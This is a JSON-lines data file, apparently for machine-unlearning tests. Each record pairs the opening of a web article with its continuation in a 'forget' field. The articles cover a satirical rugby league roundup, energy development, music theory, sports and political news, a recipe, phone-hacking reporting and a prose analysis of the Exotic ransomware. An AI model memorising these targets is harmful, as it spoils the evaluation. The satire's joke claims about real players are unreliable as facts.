{"prompt": "REG REAGAN runs the rule over every NSW and Queensland player ahead of Game II and he hasn\u2019t held back! NSW Sub-type: comment CAPTION: NSW Sub-type: comment CAPTION: NSW JARRYD HAYNE Says the turning point in his career was being shot at six years ago at Kings Cross. He says, ``It taught me the importance of speed and evasion\u2019\u2019. DANIEL TUPOU Going into this Origin II camp, Laurie Daley urged the young man to talk more and he actually did... Then he was encouraged to talk less! JOSH DUGAN Son of Queanbeyan grog monster, `Dave Dugan\u2019. Dave recently went to", "forget": "give blood and when they drew it out, it formed a head. A man after my own heart. MICHAEL JENNINGS Is having his best season in years for the Roosters. Which isn\u2019t saying much because his previous four years were pathetic. Boo Bailey artwork Source: The Daily Telegraph WILLIAM HOPOATE Recently returned from a Mormon mission where he broke the Mormon record for most Bibles sold. William said the secret to his selling success was kindness, as well as taking his father John, just in case they were considering not buying. JOSH REYNOLDS A typical rough, tough Western Suburbs boy. Was homesick all week in Coffs Harbour and had trouble sleeping. Eventually Laurie Daley had to stand outside his hotel room window and fire a handgun, just to make him feel at home. TRENT HODKINSON Has a huge phoenix tattoo emblazoned across his chest to remind him of all the injuries he\u2019s overcome, and also a cellmate he became particularly fond of during a stint in Long Bay prison. NSW Origin stars Josh Dugan, Jarryd Hayne and Will Hopoate. Picture Gregg Porteous Source: News Corp Australia PAUL GALLEN When the great Bob Fulton labelled Paul Gallen a possible future Immortal, Gallen said it was his proudest moment. No-one has had the guts to tell Paul that Bozo was joking. ROBBIE FARAH Was at the centre of all the post-game celebrations at full-time as coach Laurie Daley turned Robbie upside down and used his nose as a yard glass for teammates to drink out of. AARON WOODS Last week, he put his Leichhardt house up for sale. The real estate guide described the house as, ``Just like its footballing owner, large, ugly and rather empty upstairs\u2019\u2019. Unsung heroes of the NSW Blues Origin team Beau Scott and Ryan Hoffman. Picture Gregg"}
{"prompt": "Energy development is the field of activities focused on obtaining sources of energy from natural resources. These activities include production of conventional, alternative and renewable sources of energy, and for the recovery and reuse of energy that would otherwise be wasted. Energy conservation and efficiency measures reduce the demand for energy development, and can have benefits to society with improvements to environmental issues. Societies use energy for transportation, manufacturing, illumination, heating and air conditioning, and communication, for industrial, commercial, and domestic purposes. Energy resources may be classified as primary resources, where the resource can be used in substantially its original", "forget": "form, or as secondary resources, where the energy source must be converted into a more conveniently usable form. Non-renewable resources are significantly depleted by human use, whereas renewable resources are produced by ongoing processes that can sustain indefinite human exploitation. Thousands of people are employed in the energy industry. The conventional industry comprises the petroleum industry, the natural gas industry, the electrical power industry, and the nuclear industry. New energy industries include the renewable energy industry, comprising alternative and sustainable manufacture, distribution, and sale of alternative fuels. Classification of resources [ edit ] Open System Model (basics) Energy resources may be classified as primary resources, suitable for end use without conversion to another form, or secondary resources, where the usable form of energy required substantial conversion from a primary source. Examples of primary energy resources are wind power, solar power, wood fuel, fossil fuels such as coal, oil and natural gas, and uranium. Secondary resources are those such as electricity, hydrogen, or other synthetic fuels. Another important classification is based on the time required to regenerate an energy resource. \"Renewable\" resources are those that recover their capacity in a time significant by human needs. Examples are hydroelectric power or wind power, when the natural phenomena that are the primary source of energy are ongoing and not depleted by human demands. Non-renewable resources are those that are significantly depleted by human usage and that will not recover their potential significantly during human lifetimes. An example of a non-renewable energy source is coal, which does not form naturally at a rate that would support human use. Fossil fuels [ edit ] Fossil fuel (primary non-renewable fossil) sources burn coal or hydrocarbon fuels, which are the remains of the decomposition of plants and animals. There are three main types of fossil fuels: coal,"}
{"prompt": "I complain a lot on this blog about traditional approaches to teaching music theory. Fortunately, there\u2019s a better alternative: Everyday Tonality by Philip Tagg. Don\u2019t be put off by the DIY look of the web site. The book is the single best explanation I know of for how harmony works across a broad spectrum of the world\u2019s music. Tagg brings an ethnomusicological approach to music theory. Rather than starting with a particular theoretical approach and trying to fit it to different kinds of music, he derives generalizations from different kinds of music as they are practiced. Tagg\u2019s model of harmony", "forget": "is less tidy than the standard classical theory text, but so is the world he\u2019s describing. Common-practice tonal theory classical theory was invented to explain the European classical canon, not every kind of music in the world. Tonal theory focuses on harmony to the exclusion of nearly everything else. The problem is that the academy teaches this theory of a particular aspect of the music of a certain time and place as if it were the foundation for understanding any kind of music. Euroclassical tonal theory is fine for explain large-scale linear harmonic structure over the course of sections and movements of classical works, but it fails when you try to apply it to the static, loop-oriented harmonies structures of most of the music that people currently listen to. Tagg gives the example of \u201cLa Bamba.\u201d On its face, the chord progression to \u201cLa Bamba\u201d couldn\u2019t be any simpler: I, IV and V, over and over. A classical theorist looks at that and says, it\u2019s tonic, subdominant, dominant, repeat. But \u201cLa Bamba\u201d doesn\u2019t feel like a narrative of being at rest, then mild tension, then more extreme tension, then being at rest again. The chords go by too fast and with too many repetitions for that. The song isn\u2019t a linear narrative. It feels like one continuous mood. Tagg explains: Explaining something as common and as ostensibly simple as the La Bamba chord loop (as in La Bamba, Guantanamera, Wild Thing, Pata Pata, Twist & Shout etc.) in terms of tonic, subdominant and dominant had for some time struck me as about as productive as using theories of combustion to explain electricity. And yet some music scholars still try to apply Schenkerian notions of harmonic directionality to tonal configurations in which notions like \u2018dominant\u2019 and \u2018perfect cadence\u2019 are at best"}
{"prompt": "By Alexi Lalas At 15, wrestling was not my thing. Singlets and those lace-up shoes that looked like ballet shoes seemed like a silly way to spend two hours of my then-still-short life. However, pretty girls and rock music were an easy sell. Definitely worth $6.50 at the Showcase Cinemas in Pontiac, Michigan, a few miles from where I grew up. But Vision Quest, even two and a half decades later, is about a lot more than pretty girls and rock music. It\u2019s about more than wrestling, for that matter. It\u2019s about the teenage desire to live a life with", "forget": "meaning, even for a moment, and about the ambition that small-town reality tries to put in a headlock and pin before it has a chance. Based on Terry Davis\u2019s solid 1979 novel, the story is simple enough: Louden Swain, played by Matthew Modine, is a high school wrestler in Spokane who decides to wrestle the state champion. He wants more from life than what his father and his teachers have. He wants greatness, not the usual. He wants to know that he has it inside himself to be something. In short, he\u2019s Holden Caulfield in a singlet. And he wants a woman, not a girl. Of course, the woman arrives, in the form of Carla, a mysterious and beautiful drifter, played by Linda Fiorentino, who rents a room at the Swain house. And we\u2019re off. Modine hits a good balance of awkwardness and pretention as Louden, and Fiorentino is able to overcome some hellacious hair to still look thoroughly smokin\u2019 hot. How many of us sat at home wondering if it\u2019s true that a pair of good-looking hands will get us a woman like that? Michael Schoeffling, fresh off of playing Jake Ryan in Sixteen Candles, provides needed doses of comic relief as Kuch, Louden\u2019s simpleton sidekick. As does Elmo, the line cook played by J.C. Quinn, who gives a memorable monologue about a soccer game in a faraway land that, for obvious reasons, resonated with me. But Vision Quest isn\u2019t a coming-of-age chucklefest like Can\u2019t Buy Me Love and Weird Science. It\u2019s a gritty, emotionally honest movie whose texture and authenticity set it apart from its teen-flick contemporaries in the same way The Outsiders was different than Risky Business. The other differentiating factor that made Vision Quest hum was an unstoppable soundtrack. All killer and no filler. Tunes that"}
{"prompt": "I was in Cleveland the day LeBron announced he would be taking his talents to South Beach. I\u2019ve performed music in Cleveland more times than I can count. One of the things I enjoy about touring is getting to meet sports fans of all different teams, and walks of life. In that one day I gained more respect for Cleveland as a fan base than I have for any other in my life. The sense of absolute misery that overtook everyone \u2013 from gas station attendants to elite music promoters and executives \u2013 was overwhelming. Even dogs walked around aimlessly,", "forget": "looking like they had been recently kicked. Cleveland is a city that lives vicariously through their professional sports franchises. Win or lose (and there\u2019s been a lot more \u201close\u201d both recently and historically) the fans there take it personally. I love that about them. Now, the Cleveland Browns are at a crossroads. Coming off a disappointing 4-12 season in 2011, the organization is faced with a monumental decision: What to do at quarterback, the league\u2019s most vital position. My friends, my loyal readers, my fellow students of NFL sickness; it is here you will learn that whatever road Cleveland takes from their present situation into the wild blue yonder will come through Central Texas. Browns QB Colt McCoy needs little introduction around these parts. While at the University of Texas, he broke nearly every Longhorn single-season and career QB record and took home 13 of 15 major QB awards his senior season as a Heisman and national championship finalist. McCoy is tough, gritty, smart, elusive, and accurate which makes up for his \u201cso-so\u201d arm strength. After being drafted in the third round and getting to start in spot duty in 2010, Colt came into the 2011 season as the Browns\u2019 starting QB in a West Coast system that many close to the team thought he was beginning to get a good grasp of. The Browns\u2019 season went on to be hampered by brutal injuries along the offensive line, a constant merry-go-round freak show at the running back position, and a complete lack of playmaking ability at WR. McCoy was lost for the season to a concussion suffered in Pittsburgh during week 13 via an illegal James Harrison hit. When the dust settled on the Browns\u2019 2011 season, only three numbers really mattered, though: 4, 12, and 0. Four wins, 12"}
{"prompt": "Get the Recipe Easy Oven-Cooked Pulled Pork More Sandwiches Tips and tricks for making the best sandwiches at home. The easiest way I know of to ruffle the feathers of food-minded folks mounted atop high horses is to refer to some sort of vegetable preparation as \"bacon.\" Second is to speak ill of a regional specialty that ought to stay regional (here's lookin' at you, cheesesteaks). Coming in a close third? Suggesting that pulled pork can be prepared via any method other than low-and-slow in a smoke-filled barbecue. I used to count myself among those rankled by that third one.", "forget": "My experience with indoor pulled pork was limited to the extra-wet and extra-sweet variety, braised in a slow cooker like a beer-bellied vacationer who accidentally fell asleep in a hot tub of bottled barbecue sauce. How could it ever compare to the tender and moist\u2014but never wet\u2014texture of real barbecue with a dark crust, a rich and smoky flavor, and a lovingly crafted sauce? Easy: It can't compare, and it shouldn't compare. Just as it's perfectly possible to love both grilled steaks and pan-seared steaks, or grilled burgers and burgers smashed on a griddle, it's okay to enjoy pork shoulder cooked both outdoors and in-. The two dishes are similar but completely different foods that can both be appreciated on their own merits,* without involving a slight to your man- or womanhood. * That said, I am working on a method for producing real barbecue-style pulled pork at home, complete with smoke ring and bark, which will show up in the follow-up volume to my first book. Stay tuned! But, just as there are great burgers and poor, not all indoor pulled pork is created equal. My goal with this recipe was to come up with a technique to produce pulled pork that shreds into large, tender chunks that are moist but not wet, with a flavor that balances sweet molasses, bright vinegar, heat, and just a hint of smoke. Oh, and I wanted it to be darn easy to boot. Going Dutch Most simple pulled pork recipes involve dumping a pork shoulder into a slow cooker, adding some bottled barbecue sauce and stock, and letting it cook until the pork falls apart. There were two simple and obvious upgrades that could be made to this method. First was to ditch the slow cooker and use a Dutch oven placed"}
{"prompt": "YONHAP / EPA South Korean swimmers are headed to the islets known as Dokdo in South Korea and Takeshima in Japan, and which are claimed by both countries, on Aug. 14, 2012 * UPDATE: South Korean media report that the team of swimmers reached the islands at 7:30 a.m. Wednesday \u2014 six and a half hours ahead of schedule. The entire relay reportedly took 48 hours and 30 minutes. Tensions are rising once again over the tiny islands, known as Dokdo in South Korea and Takeshima in Japan, and claimed by both countries, with the latest spat coming at a", "forget": "bizarre intersection of pop culture, sports and politics. This week dozens of South Koreans are holding a relay swim of 220 km from the South Korean coast to the islands in order to reassert the nation\u2019s sovereignty over the disputed territory. The swimmers, led by pop singer Kim Jang-hoon, are scheduled to arrive in the early afternoon of Aug. 15 \u2014 a day that marks the 67th anniversary of South Korea\u2019s independence from Japanese colonial rule. Their swim follows a visit last Friday by South Korean President Lee Myung-bak \u2014 the first ever by the country\u2019s top leader \u2014 which prompted Japan to summon the South Korean ambassador in Tokyo and to recall its top diplomat from Seoul. Japan also suggested that it might take the territorial dispute to the International Court of Justice. (MORE: Why South Korea Is in an Uproar over Intelligence Sharing with Japan) The islands are located in the gulf between the two countries \u2014 known as the Sea of Japan by Japanese and the East Sea by South Koreans \u2014 and are about the same distance from each. Seoul and Tokyo have been playing tug-of-war over the ownership of the islets for decades; South Korea stationed a coast-guard detachment on the islands in 1954 and has administered the islets since then. Despite their size, ownership of the islands is important for more than just national pride; they lie in rich fishing grounds and are near a seabed that could contain vast natural-gas deposits. The latest dispute flared up late last week at the Olympics, when Korean soccer player Park Jong-woo displayed a political sign saying \u201cDokdo Is Our Territory\u201d after the country won the bronze-medal match against Japan. The International Olympic Committee, which prohibits political statements by athletes, withheld his medal, barred him from participating"}
{"prompt": "Up to 8.3bn barrels of oil could be up for grabs, ramping up tensions as the 30th anniversary of the war between the UK and Argentina approaches Tensions are rising in the Falkland Islands as the 30th anniversary of the war between Argentina and the UK approaches. Even Sean Penn has waded into the simmering row over sovereignty of the islands, calling Britain's presence in the Falklands \"colonialist, ludicrous and archaic\" as he criticised Prince William's deployment there. Growing talk about an oil boom in the contested islands doesn't help. Some 8.3bn barrels of oil are thought to be up", "forget": "for grabs in the waters around the Falklands. That compares with UK proven reserves of 5.6bn. However, some believe the prize could be much bigger: some estimates put it at up to 60bn barrels. That dwarfs the 21bn barrels thought to be remaining in the UK sector of the North Sea. Edison Investment Research analysts said: \"None of these figures have of course been proven, although we do know that Sea Lion is already approaching the size of the single largest field discovered in the UK North Sea this century, namely the Buzzard field where total recoverable reserves of more than 550m barrels have been estimated.\" Sea Lion, estimated at just shy of 450m barrels, is the largest oil discovery in the Falklands so far, and is owned by UK-listed explorer Rockhopper. An oil boom is set to transform the Falklands. A report by Edison, Kicking up a Storm in the South Atlantic, says the islands could reap up to $180bn (\u00a3115bn) in royalties and tax as oil companies get drilling. Falklands assembly member Gavin Short said if the oil started flowing the islands would contribute to their defence costs, currently paid entirely by Britain. \"We have always said once we have found out what we have got and it started flowing, then it would be our intention to make contributions [to Britain],\" he said. So good news for the UK government. Argentina's president, Cristina Fern\u00e1ndez de Kirchner, must be fuming. This year oil companies start drilling in the southern basin of the Falklands. Ian McLelland, one of the Edison analysts, told the Guardian that the total 60bn barrel estimate for the region \"doesn't seem like an unreasonable estimate\" given that four wells in the south alone are expected to yield 7.8bn barrels and \"there are dozens of fields\". Every"}
{"prompt": "J\u00fcrgen Klopp can't wait for his latest taste of the rivalry between Liverpool and Manchester United having whetted his appetite with last season's Europa League meetings between the sides. The Reds are back at Anfield on Monday evening for a hotly anticipated Premier League clash with their foes from the other end of the East Lancs Road. Klopp will be hoping for a repeat of his team's European success against United last term, when a 2-0 win on Merseyside and 1-1 draw at Old Trafford saw LFC through to the quarter-finals. And he expects a typically raucous atmosphere when Jose", "forget": "Mourinho's team are welcomed again. \u201cWe are really looking forward to what will be a fantastic game at Anfield,\u201d he told the Liverpool Echo, speaking at event in support of the 'Seeing is Believing' campaign. \u201cThose Europa League games were really nice. Both games were intense and competitive. \u201cWe were better in the first game at Anfield. We had a fantastic atmosphere and the players were inspired by that. \u201cIt was my first time at Old Trafford for the second leg. Maybe people don\u2019t like to hear it, but there was actually quite a good atmosphere there too! \u201cIt changed the game a little bit and it was real proof of what an atmosphere can do. United were on top but we killed that atmosphere with Philippe\u2019s wonderful goal in the 45th minute. From then on it wasn\u2019t that difficult any more. \u201cIt\u2019s a perfect moment for \u2018Seeing is Believing\u2019 because this game will have to be seen for people to believe what will happen.\u201d LFCTV GO: Relive Philippe Coutinho's performance at Old Trafford After a good start to 2016-17, Liverpool are five places and as many points better off than they were at this point last season in the Premier League. Reflecting on his team's development over the last 12 months, the boss added: \u201cIt\u2019s been a busy, intense year. \u201cThere have been a few ups and a few downs but always with a really optimistic view about the future. I think that\u2019s what we still have. \u201cIt\u2019s a job we have to do. We all enjoy working together and it\u2019s much better when you enjoy it. \u201cFrom my side, it feels like a short year! It\u2019s gone like this (clicks fingers). Hopefully I will have many more years here. \u201cI\u2019ve never thought about the speed or the tempo"}
{"prompt": "Getty Images On Monday night, Seahawks running back Marshawn Lynch appeared on Conan O\u2019Brien\u2019s show, where he dropped an \u201cF\u201d bomb and talked about \u201cgrabbing my ding-ding.\u201d (And he also grabbed his ding-ding several times.) On Thursday night, teammate Russell Wilson appeared on Jimmy Kimmel\u2019s show. While there was no \u201cding-ding\u201d talk, Wilson stepped way out of his carefully-manicured character by using a word that had to be bleeped. \u201cI\u2019ve gotta tell you a story,\u201d Wilson said as soon as he took a seat between Kimmel and Andy Samberg, who was in a plastic bubble because he was pretending to", "forget": "have the flu. \u201cSo I\u2019m backstage, before the show, obviously. And all of a sudden I run into this guy with a bubble. And he sticks out his hand. I shake his hand. Next thing I know, he sh-ts in his pants.\u201d (It\u2019s possible Wilson said \u201cjizzes,\u201d in reference to Samberg\u2019s \u201cJizz in My Pants\u201d video from Saturday Night Live. Either way, it was bleeped. Either way, it didn\u2019t mesh with the Wilson ordinarily projects.) The discussion quickly turned to Wilson\u2019s contractual status, with Kimmel asking Wilson if he\u2019s more tired of talking about the Super Bowl loss or his contract. \u201cBoth,\u201d Wilson said. Kimmel then pointed out how underpaid Wilson is, suggesting that he\u2019s making only $37,000 per year. (The audience didn\u2019t get the joke.) \u201cSo you\u2019re ready for the next contract?\u201d Kimmel said. \u201cThat sounds exciting,\u201d Wilson replied. \u201cI would love to help you with this contract, I really would,\u201d Kimmel said. \u201cDo you have an agent?\u201d \u201cI do have an agent,\u201d Wilson said. \u201cWell, that\u2019s a bummer.\u201d \u201cMaybe you can be his consultant,\u201d Wilson said. \u201cHow much money do you want, because we can probably hash this out right now?\u201d \u201cCan we take a collection plate, maybe?\u201d Wilson said, laughing. \u201cNo, you get it from the team,\u201d Kimmel responded, with a little bit of force in his voice. \u201cYou made enough money for them. I think it\u2019s OK for them to pay you. You want to be the highest paid player in football, correct?\u201d \u201cI just want to be paid based off my play,\u201d Wilson said. \u201cIt\u2019ll work out in the end, and we\u2019ll figure it out.\u201d Wilson then reiterated that he wants to stay in Seattle, but it\u2019s still not clear exactly what he wants financially \u2014 because he continues to avoid the question. Wilson also"}
{"prompt": "Update 10/15/16: I have updated the article below to address that this ransomware is not continuously monitoring for files. When the ransomware runs it will target the %Desktop% first and then encrypt other folders. The last folder that is encrypted is the %UserProfile% folder, which also included the Desktop. So it appeared that it was continuously monitoring for new files, when in fact it was just encrypting %UserProfile% again and thus the Desktop got hit twice. The Exotic Ransomware is a new infection released by a malware developer going by the alias of EvilTwin or Exotic Squad. Discovered on October", "forget": "12th by MalwareHunterTeam, the Exotic Ransomware will encrypt all files, including executables, in targeted folders on a victim's computer. When finished it will display a Jigsaw Ransomware-like ransom note that demands $50 USD to decrypt the files. The Exotic ransomware appears to be currently in development mode, with three variants released over the past three days, According to MalwareHunterTeam, the first variant contained an image of Hitler as part of the background to the ransom note, the second included a different picture of Hitler and some text, and the third contains the Jigsaw-like screenlocker shown in the video above. Hitler Background from Version 2 In general, there is nothing particularly innovative about this ransomware, other than it targets executables as well. This causes not only your data to be encrypted, but your programs to be unusable as well. Exotic targets Executable Files Most ransomware infections only target data files and leave the executables alone. With Exotic, when it encrypts a particular folder it will also encrypt the executables in these folders, which makes the programs unusable. Thankfully, most programs are properly stored in folders that are not targeted by Exotic. On the other hand, if you had downloaded files and stored them under the %UserProfile% folder, such as the Downloads folder, then these files will now be encrypted as well. The Exotic Ransomware Encryption Process Thanks to MalwareHunterTeam, I was able to get a copy of the source code for the Exotic Ransomware to see exactly how it works. When the ransomware starts it will scan certain folders for files that have specific extensions. When it encounters a targeted file extension, it will encrypt the file using AES-128 encryption, rename the file, and append the .exotic extension to them. For example, a file called test.jpg could be encrypted as the"}
{"prompt": "Don\u2019t know what to do for your next date? Here\u2019s an idea for your next 26. It\u2019s called \u201cAlphabet Dating,\u201d and the concept has exploded on social media. The idea is that the couple (or serial daters) take turns planning normal dates using the order of the letters in the alphabet. Couples have been choosing dates and keeping it a secret from their partner until the big reveal. The idea is to keep the spice on your relationship and have some fun with your partner. To the horror of men everywhere, \u201cA\u201d can be apple picking, while \u201cB\u201d can be", "forget": "a baseball game or a boat ride. \u201cC\u201d can be a simple coffee date. \u201cD\u201d can be a double date, and so on. Here are some couples who are going through the alphabet and coming up with some inventive date ideas. Started Alphabet dating tonight, A is for Asian food,\" wrote one couple. Started alphabet dating tonight \ud83d\udc96 A is for Asian food. \ud83d\ude0d\ud83c\udf74 #alphabetdating #cheatmeal #slimmingworld A photo posted by \ud83d\udc9c laura (@_lauraeats) on Jul 16, 2016 at 3:16pm PDT This couple played video games. V is for... Variety pack (for breakfast) , Vintage Video games, Vale curry house takeaway (but we didn't have a Vindaloo \ud83d\ude09), Vino and Vanilla Viennetta! #alphabetdating A photo posted by Rebecca Barber (@beckyraymcfly) on Nov 5, 2016 at 1:54pm PDT Breakfast and Bingo for this couple. Scary movies for these two. #alphabetdating s for sweet shops and 'scary' movies like the shining and saw :) A photo posted by Katy Dear (@katy_xxv) on Oct 30, 2016 at 3:44pm PDT Someone needs ideas. Can any of my fellow alphabet daters give me any good suggestions for our last 4 dates?! #alphabetdating #w #x #y #z #needhelpplease A photo posted by Sophie (@sophie231092) on Oct 30, 2016 at 4:25am PDT These guys went to the zoo. Z is for Zoo \ud83d\udc27\ud83d\udc18\ud83d\udc12\ud83e\udd81 #alphabetdating #z #zoo #blackpool #penguins #otters #giraffes A photo posted by Fiona Tennant (@fionat10) on Oct 30, 2016 at 3:17am PDT A little fresh air for these two. Nature. 'N' is for nature \ud83c\udf41 #alphabetdating A photo posted by Sophie \ud83d\udc12 (@sophieevandersteen) on Oct 29, 2016 at 8:45am PDT A jacuzzi for this couple. J date #jaccuzzi #jigsaw #judson's #j20 #jellytots #jurrasicworld #alphabetdating A photo posted by Natasha Crow (@tasha24amiee) on Oct 26, 2016 at 9:52am PDT Who doesn't love a trolley? T is"}
{"prompt": "ADVERTISEMENT Today is the two-year anniversary of Occupy Wall Street, a movement born from outrage over bank bailouts, as well as a belief that the nation's richest had gotten richer following the Great Recession while everyone else got hammered. Coincidentally, the Census Bureau is out Tuesday with its annual report on income and poverty in America, and the findings lend some credence to that argument. After declining markedly every year since the financial crisis, median household income in the U.S. remained flat compared to last year at $51,017. (Technically median household income declined slightly, but by a statistically insignificant amount.)", "forget": "On the surface, that's a positive sign that the economy is finally starting to turn around. Yet for those at the top, in the 95th percentile, household income has already begun to go up, according to the Census Bureau. Though income in the 95th percentile is still down from its peak in the mid-2000s, the uptick is striking when you consider that income for average households is only just beginning to bottom out. Further, median household income is still down 8.3 percent from its pre-recession level in 2007. For those in the 95th percentile, household income is down just 2.5 percent. And as the Washington Post's Neil Irwin notes, median household income is actually a hair lower than it was in 1989, in inflation-adjusted terms, when the average household earned $51,681. \"Growth is not fast enough,\" Treasury Secretary Jacob Lew said before the report's release. \"And the very definition of what it means to be middle class is being undercut by trends in our economy that must be addressed.\" The divergence is more pronounced at the apex of the income ladder. The top one percent saw their income spike 31.4 percent between 2009 and 2012, according to a research paper released earlier this month by University of California economist Emmanuel Saez. With income for everyone else remaining relatively flat, that means the top one percent raked in 95 percent of the nation's total growth in wealth since the economic recovery began. In a speech Monday, President Obama acknowledged there has been a rise in income inequality during the economic recovery, saying, \"The trends that have taken hold over the past few decades of a winner-take-all economy, where a few do better and better, while everybody else just treads water or loses ground, those trends have been made worse by the"}
{"prompt": "EL SEGUNDO, CA \u2014 The phrase, \u201cGo West, young man!\u201d has been around for many decades, and although it will take them 80 years, the American Hockey League is doing just that. Indeed, it\u2019s been in the works for years, and there has been an ever-increasing amount of talk about it over the past few years, but it all became reality on January 29, when the AHL announced that the affiliates of five National Hockey League teams will move to California to form a new Pacific Division of the AHL. The teams in this new division will begin play next", "forget": "season, marking the first time the AHL will have teams in California in what will be their 80-year history. \u201cToday, we are announcing that we will begin our 80th season [2015-16] with another monumental shift in the geography of our league,\u201d David Andrews, President, Chief Executive Officer, American Hockey League, told the media at a press conference in San Jose. \u201cEarlier this week, the American Hockey League\u2019s Board of Governors unanimously approved the purchase of an AHL franchise by the Anaheim Ducks, and the relocation of AHL franchises owned by the Calgary Flames, the Edmonton Oilers, the Los Angeles Kings, and the San Jose Sharks, as well as the franchise being purchased by Anaheim. These approvals are paving the way for the launch, next Fall, of the Pacific Division of the American Hockey League, with teams in five California cities.\u201d The new division shakes out this way: Anaheim Ducks will purchase the Norfolk Admirals and move them from Norfolk, Virginia to San Diego. Calgary Flames will move their affiliate, the Adirondack Flames, from Glens Falls, New York, to Stockton. Edmonton Oilers will move their affiliate, Oklahoma City Barons, from Oklahoma City, Oklahoma to Bakersfield, where the ECHL\u2019s Bakersfield Condors will move up to the AHL Los Angeles Kings will swap their ECHL and AHL affiliates, with the AHL\u2019s Manchester Monarchs moving to Ontario where they will take on the name of the existing Ontario Reign. Meanwhile, the ECHL\u2019s Ontario Reign will move to Manchester, New Hampshire and become the ECHL\u2019s Manchester Monarchs San Jose Sharks will move their affiliate, the Worcester Sharks, from Worcester, Massachusetts to San Jose, where they will play at the SAP Center, sharing the same arena as the NHL\u2019s Sharks. \u201cThis is a significant day for hockey, and the growth of the sport in California,\u201d said"}
{"prompt": "Piers Morgan was questioned under caution by police investigating Mirror phone hacking allegations Morgan, 48, interviewed by Metropolitan Police 'in connection with suspected conspiracy to intercept telephone voicemails' He was editor of News of the World and then the Daily Mirror CNN presenter denies any knowledge of phone hacking Piers Morgan has been interviewed under caution by police investigating allegations of phone-hacking at Mirror newspapers, it emerged today. The CNN presenter was questioned by Operation Golding police in December last year, and has also provided a witness statement to the investigation. Morgan, 48, has always denied any knowledge of phone", "forget": "hacking at either the News of the World or the Daily Mirror, both of which he has edited. Questioning: Piers Morgan has been interviewed under caution by police investigating allegations of phone-hacking He told the Guardian today: 'In early November I was asked to attend an interview by officers from Operation Weeting when I was next in the UK. 'This was further to a full witness statement I had already freely provided. I attended that interview as requested on 6 December 2013.' A spokesman for the Metropolitan Police said: 'A 48-year-old man who is a journalist was interviewed under caution on December 6 2013 by officers from Operation Golding in connection with suspected conspiracy to intercept telephone voicemails. 'He was interviewed by appointment at a south London police station. He was not arrested. 'Operation Golding is a strand of Operation Weeting and is specifically investigating allegations of phone interception at Mirror Group Newspapers.' Editor: Morgan pictured in 2004, during his time as editor of the Daily Mirror Morgan, 48, was appointed as editor of News of the World in 1994, and moved to the Daily Mirror two years later. He resigned from the Mirror in 2004 when it emerged that the paper had published fake photographs supposedly showing British soldiers abusing Iraqi prisoners. Morgan has since moved into the world of TV, presenting a nightly news programme on CNN in the U.S. as well as an interview show for ITV. The ex-editor gave evidence to the Leveson Inquiry in which he said that phone hacking had not taken place at the Mirror and denied any knowledge of the practice within the newspaper industry. However, Jeremy Paxman told the inquiry that Morgan had told him how to hack a phone during lunch at the Mirror's offices in 2002. Evidence: Morgan appeared"}
{"prompt": "There are many nauseating aspects of the new reality TV series, \"America Picks a Prez,\" which airs around the clock on every single channel on earth: the cynical, open-air conspiracy between our Fourth Estate and Donald \u201cRatings Viagra\u201d Trump. Ted Cruz uttering the word \"prayerfully\" while not exploding into a cloud of synthetic piety. Caucasian patriots heroically exercising their right to punch people of color. Among these, let me nominate one more: listening to Hillary partisans explain to those of us who support Bernie Sanders just how naive we are. Only Hillary, we are told, has a real shot at", "forget": "winning in November. She\u2019s the only one with a realistic grasp of how Washington works, whose moderate (and modest) policy aims might, realistically, be enacted. It often sounds as if Clinton\u2019s central pitch to voters isn\u2019t that she has a moral vision for the country, but that she owns the franchise on realism. Advertisement: Bernie, meanwhile, is just a sweet-shouting rube whose quarter-century as a congressman and senator has somehow failed to instill in him an appreciation for the twin plagues of grift and gridlock. For us benighted hippies, the standard counter-argument at this point is that our man understands all too well the magnitude of Washington\u2019s dysfunction, which is why he\u2019s calling for a political revolution: to obliterate the most heinous aspects of the status quo, starting with corporate-sponsored elections. I happen to agree with this. But there\u2019s a sadder and more pointed response to Hillary\u2019s reality brigade. Namely, that they need to face the reality of what the 2016 election is going to be like with Hillary at the top of the ticket. Before I outline that particular shitstorm, let me issue a few sure-to-be-ignored (and therefore pointless) caveats. First, I myself was a Hillary supporter until Sanders entered the race. (More precisely, until I read his policy positions.) Second, I will enthusiastically support Hillary when and if she is nominated. Years ago, I interviewed the secretary and I say now what I said then: She is a brilliant and compassionate public servant. If presidential elections in this country were based on policy positions and moral intention, on how each candidate hopes to solve common crises of state, Clinton would win going away. Alas, the reality is that Hillary is among the most hated politicians in America. There is, to begin with, her dismal favorability rating, which stands"}
{"prompt": "Kurtis \"Kurt\" Loder (born May 5, 1945) is an American film critic, author, columnist, and television personality. [1] He served in the 1980s as editor at Rolling Stone , during a tenure that Reason later called \"legendary\". [2] He has contributed to articles in Reason , Esquire , Details , New York , and Time . [1] He has also made cameos on several films and television series. [1] He is best known for his role at MTV News since the 1980s and for appearing in other MTV-related television specials. [3] He has hosted the SiriusXM radio show True Stories", "forget": "since 2016. [4] Loder stated that he \"just fell into\" his field, elaborating that his \"entire journalism background is four weeks... That's it. Nothing else. You can learn journalism in four weeks. It's not an overcomplicated thing. It's very, very simple.\"[6] Loder lived in Europe for the next several years, doing what he later called \"scandal sheet\" \"yellow journalism.\"[6] He returned home to New Jersey at the end of 1972 and worked with a local newspaper and then an Ocean City-based magazine run by the sister of the city's famous writer Gay Talese. He left in the summer of 1976 to work with a free Long Island rock weekly called Good Times. He received about $200 a week.[3] After meeting a fellow \"music geek,\" David Fricke, \"the two of us began driving into Manhattan virtually every night to wallow in the flourishing punk rock scene at CBGB's, Max's, etc. This was, fortunately, cool with the wives. I mean, we'd still be sitting upright at four in the morning through fist fights, mass nod-outs, and sets by bands with names like Blinding Headache, played to audiences of three people, of which we'd be two-thirds. I don't think I can quite convey how great days those were\".[3] They both joined Circus in 1978 and moved to Manhattan. Loder went on to become one of its official editors. The staff had a fun, relaxed atmosphere and considered the magazine to be second or third tier. Loder later said that \"Whatever was said to be 'happening' in commercial pop music was... on the cover of Circus. Disco? Run with it. Shirtless teen popsters? Put 'em on the cover... a, shall we say, ardent enthusiasm for pix of nubile youths. Metal, of course, was really the mag's meat.\" He also remarked that \"it was a"}
